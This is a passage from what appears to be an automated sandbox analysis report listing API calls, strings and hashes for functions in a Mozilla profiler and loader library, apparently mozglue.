strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB1CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB1CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB1CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB1CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB1CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB1CE8A

Strings

stackwalk, xrefs: 6CB1CCF8
fileioall, xrefs: 6CB1CCA8
screenshots, xrefs: 6CB1CCD4
cpuallthreads, xrefs: 6CB1CE16
audiocallbacktracing, xrefs: 6CB1CDD4
processcpu, xrefs: 6CB1CE6E
power, xrefs: 6CB1CE84
ipcmessages, xrefs: 6CB1CDBE
nativeallocations, xrefs: 6CB1CDA8
jsallocations, xrefs: 6CB1CD0E
Unrecognized feature "%s"., xrefs: 6CB1CEA0
preferencereads, xrefs: 6CB1CD92
samplingallthreads, xrefs: 6CB1CE2C
unregisteredthreads, xrefs: 6CB1CE58
leaf, xrefs: 6CB1CC66
seqstyle, xrefs: 6CB1CCE6
noiostacks, xrefs: 6CB1CCBE
java, xrefs: 6CB1CC37
fileio, xrefs: 6CB1CC92
default, xrefs: 6CB1CC21
mainthreadio, xrefs: 6CB1CC7C
nostacksampling, xrefs: 6CB1CD7C
markersallthreads, xrefs: 6CB1CE42
notimerresolutionchange, xrefs: 6CB1CE00

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 64fdbb95b70431a5c42b08f02dc481ca0ded3ee0114a9b788eca99ca717e8b7b
Instruction ID: 9ea911204b9565cad7785425ee4240af48b15e934322a5be607f6e1c8bb39543
Opcode Fuzzy Hash: 64fdbb95b70431a5c42b08f02dc481ca0ded3ee0114a9b788eca99ca717e8b7b
Instruction Fuzzy Hash: 0251F9C1A5E2F532FE0039152D11BAF150AEF5325AF10803AED0AA2F84FF15E61D96B7

Function 6CAE4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAE4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAE44B2,6CB5E21C,6CB5F7F8), ref: 6CAE473E
Part of subcall function 6CAE4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAE474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAE44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAE44D2
InitOnceExecuteOnce.KERNEL32(6CB5F80C,6CADF240,?,?), ref: 6CAE451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAE455C
LoadLibraryW.KERNEL32(?), ref: 6CAE4592
InitializeCriticalSection.KERNEL32(6CB5F770), ref: 6CAE45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAE45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAE45BB
InitOnceExecuteOnce.KERNEL32(6CB5F818,6CADF240,?,?), ref: 6CAE4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAE4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAE4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAE466D
VerSetConditionMask.NTDLL ref: 6CAE469F
VerSetConditionMask.NTDLL ref: 6CAE46AB
VerSetConditionMask.NTDLL ref: 6CAE46B2
VerSetConditionMask.NTDLL ref: 6CAE46B9
VerSetConditionMask.NTDLL ref: 6CAE46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAE46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAE46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAE46FD

Strings

WRusr.dll, xrefs: 6CAE44B5
kernel32.dll, xrefs: 6CAE44CD
user32.dll, xrefs: 6CAE4557, 6CAE463F
l, xrefs: 6CAE4578
NativeNtBlockSet_Write, xrefs: 6CAE46F7

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f2e84f3de06ebc0718c8ac69644c328e7cfa62f6f06e290002f31d39885a11df
Instruction ID: dec830049a9c829097923f67ca0c65f897f981089c0ec1e87457ac98fef1afbc
Opcode Fuzzy Hash: f2e84f3de06ebc0718c8ac69644c328e7cfa62f6f06e290002f31d39885a11df
Instruction Fuzzy Hash: 1F6118B06003849FEB019FA5CC09BA9BBBCFF4A308F88855CE5049B641D7B59995CFE0

Function 6CB1F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB1F8F9

Part of subcall function 6CAE6390: GetCurrentThreadId.KERNEL32 ref: 6CAE63D0
Part of subcall function 6CAE6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAE63DF
Part of subcall function 6CAE6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAE640E

ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F93A
GetCurrentThreadId.KERNEL32 ref: 6CB1F98A
GetCurrentThreadId.KERNEL32 ref: 6CB1F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F716

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

Part of subcall function 6CADB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CADB5E0

GetCurrentThreadId.KERNEL32 ref: 6CB1F739
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F746
GetCurrentThreadId.KERNEL32 ref: 6CB1F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB5385B,00000002,?,?,?,?,?), ref: 6CB1F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB1F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB1F866
free.MOZGLUE(?), ref: 6CB1FA0C

Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE5E8C
Part of subcall function 6CAE5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5E9D
Part of subcall function 6CAE5E60: GetCurrentThreadId.KERNEL32 ref: 6CAE5EAB
Part of subcall function 6CAE5E60: GetCurrentThreadId.KERNEL32 ref: 6CAE5EB8
Part of subcall function 6CAE5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5ECF
Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAE5F27
Part of subcall function 6CAE5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAE5F47
Part of subcall function 6CAE5E60: GetCurrentProcess.KERNEL32 ref: 6CAE5F53
Part of subcall function 6CAE5E60: GetCurrentThread.KERNEL32 ref: 6CAE5F5C
Part of subcall function 6CAE5E60: GetCurrentProcess.KERNEL32 ref: 6CAE5F66
Part of subcall function 6CAE5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAE5F7E

free.MOZGLUE(?), ref: 6CB1F9C5
free.MOZGLUE(?), ref: 6CB1F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB1F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CB1F71F
Thread , xrefs: 6CB1F789
" attempted to re-register as ", xrefs: 6CB1F858

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: a4ee49dd868432a9f3683fbf4b29865803d19fb8ec9fe4854153462bdbde44b8
Instruction ID: 20693491365d6447d20f1030485c4374c45ca765ea38feba08dbd577893337af
Opcode Fuzzy Hash: a4ee49dd868432a9f3683fbf4b29865803d19fb8ec9fe4854153462bdbde44b8
Instruction Fuzzy Hash: 04811871A083849FDB10DF24C840BAEBBB5FF85308F95856DE84597B51EB30E949CB92

Function 6CAE5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5E9D

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAE5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAE5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAE6017

Part of subcall function 6CAD4310: moz_xmalloc.MOZGLUE(00000010,?,6CAD42D2), ref: 6CAD436A
Part of subcall function 6CAD4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAD42D2), ref: 6CAD4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAE5F47
GetCurrentProcess.KERNEL32 ref: 6CAE5F53
GetCurrentThread.KERNEL32 ref: 6CAE5F5C
GetCurrentProcess.KERNEL32 ref: 6CAE5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAE5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAE5F27

Part of subcall function 6CAECA10: mozalloc_abort.MOZGLUE(?), ref: 6CAECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE5E8C

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAE55E1), ref: 6CAE60CC

Strings

GeckoMain, xrefs: 6CAE5ECE, 6CAE6015

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 1f671dd597358b647594531207d27c6846944198baf72bc64b318db09e741d4e
Instruction ID: a76439bf7aeb666f6067f12f2a3e774bee856894e4cae251bc5a1687e2157477
Opcode Fuzzy Hash: 1f671dd597358b647594531207d27c6846944198baf72bc64b318db09e741d4e
Instruction Fuzzy Hash: E471C2B0A04784DFD704DF28D480A6ABBF0FF5A308F54496DE59687B52D731E988CB92

Function 6CAE9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAD3217
Part of subcall function 6CAD31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAD3236
Part of subcall function 6CAD31C0: FreeLibrary.KERNEL32 ref: 6CAD324B
Part of subcall function 6CAD31C0: __Init_thread_footer.LIBCMT ref: 6CAD3260
Part of subcall function 6CAD31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAD327F
Part of subcall function 6CAD31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD328E
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAD32AB
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAD32D1
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAD32E5
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAD32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAE9675
__Init_thread_footer.LIBCMT ref: 6CAE9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAE96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAE9707
__Init_thread_footer.LIBCMT ref: 6CAE971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAE97B7
FreeLibrary.KERNEL32 ref: 6CAE97D0
FreeLibrary.KERNEL32 ref: 6CAE97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAE9670
ntdll.dll, xrefs: 6CAE96E3
NtMapViewOfSection, xrefs: 6CAE9701
MapViewOfFileNuma2, xrefs: 6CAE97B1

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: d57258e83425208e358032b0506718741ebd00a57a8cf8ad5e1cd2de88663716
Instruction ID: 2093a59b7913c16a0f226f63fd686fd4ed4ce7de6778d9e21167111eed48dc28
Opcode Fuzzy Hash: d57258e83425208e358032b0506718741ebd00a57a8cf8ad5e1cd2de88663716
Instruction Fuzzy Hash: 6161D0717003459FDF00DFB9E984BDABBB5EB4E324F944529E91593780D730A898CB91

Function 6CB36660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB5F618), ref: 6CB36694
GetThreadId.KERNEL32(?), ref: 6CB366B1
GetCurrentThreadId.KERNEL32 ref: 6CB366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB366E1
EnterCriticalSection.KERNEL32(6CB5F618), ref: 6CB36734
GetCurrentProcess.KERNEL32 ref: 6CB3673A
LeaveCriticalSection.KERNEL32(6CB5F618), ref: 6CB3676C
GetCurrentThread.KERNEL32 ref: 6CB367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB36868
RtlCaptureContext.NTDLL ref: 6CB3687F

Strings

WalkStack64, xrefs: 6CB36890

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 26874d0529ac2c699c5aeca558b0e62325b00681fa6519dd47d927f6c032c99c
Instruction ID: 03b48647611d65c9fc982d0aeed858c2df89c4477ea7e10626af20089d73e96d
Opcode Fuzzy Hash: 26874d0529ac2c699c5aeca558b0e62325b00681fa6519dd47d927f6c032c99c
Instruction Fuzzy Hash: A7519A71A09391EFDB11CF24C848A9EBBF4FF89714F44492DF99997640D7B0A908CB92

Function 6CB1DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1DE73
GetCurrentThreadId.KERNEL32 ref: 6CB1DF7D
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1DF8A
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB1DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAE4A68), ref: 6CB1DE7B

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAE4A68), ref: 6CB1DEB8
free.MOZGLUE(00000000,?,6CAE4A68), ref: 6CB1DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB1DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB1E00E
<none>, xrefs: 6CB1DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6CB1DE83

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 08969cab46bc7cae27eedbf13f7940bf39623de0156b11e81b3bd227a035ad60
Instruction ID: 8fdf1ffa625f5a5c0aba1dd542e23d53b13675e2ba9a80f00508539a198a6a4c
Opcode Fuzzy Hash: 08969cab46bc7cae27eedbf13f7940bf39623de0156b11e81b3bd227a035ad60
Instruction Fuzzy Hash: 85410235B052909BEF119F74E8087AEBB76EB4631DF940019EA09D7F41CB719909CBE2

Function 6CB2D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D52A
GetCurrentThreadId.KERNEL32 ref: 6CB2D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D55F
free.MOZGLUE(00000000), ref: 6CB2D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB2D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB2D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D652
GetCurrentThreadId.KERNEL32 ref: 6CB2D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D6A2

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d90536d404f5fd680aafa07b11a73fb7590697bbd9729af725a2e7082b9b7eff
Instruction ID: 56ec730cd6e2a5d3d669e03a230a166cb3ab3319514b5190f103db1d3e2bb07a
Opcode Fuzzy Hash: d90536d404f5fd680aafa07b11a73fb7590697bbd9729af725a2e7082b9b7eff
Instruction Fuzzy Hash: C5518C71604745DFC704DF35C488AAABBF4FF89318F508A2EE85A87750DB34A889CB91

Function 6CAF5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAF56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAF56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAF5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAF57BC
GetTickCount64.KERNEL32 ref: 6CAF58CB
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAF58F3
__aulldiv.LIBCMT ref: 6CAF5945
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAF59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB5F638,?,?,?,?), ref: 6CAF59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAF56CC

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

